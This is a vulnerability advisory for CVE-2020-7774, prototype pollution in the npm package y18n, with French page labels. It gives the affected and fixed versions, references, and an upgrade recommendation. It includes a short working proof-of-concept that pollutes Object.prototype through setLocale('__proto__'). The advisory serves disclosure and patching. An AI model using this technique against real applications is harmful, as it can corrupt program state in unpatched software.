GHSA-c4w7-xm78-47vh
Prototype Pollution in y18n
En bref
- Publiée
- Mise à jour
- CVE
- CVE-2020-7774
- CVSS_V3
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Description
### Overview The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. ### POC ```js const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true ``` ### Recommendation Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.
Paquets affectés
| Paquet | Versions |
|---|---|
| npm · y18n | introduced 0, fixed 3.2.2 |
| npm · y18n | introduced 4.0.0, fixed 4.0.1 |
| npm · y18n | introduced 5.0.0, fixed 5.0.5 |
Références
- https://nvd.nist.gov/vuln/detail/CVE-2020-7774 ADVISORY
- https://github.com/yargs/y18n/issues/96 WEB
- https://github.com/yargs/y18n/pull/108 WEB
- https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3 WEB
- https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25 WEB
- https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf WEB
- https://github.com/yargs/y18n PACKAGE
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 WEB
- https://snyk.io/vuln/SNYK-JS-Y18N-1021887 WEB
- https://www.oracle.com/security-alerts/cpuApr2021.html WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |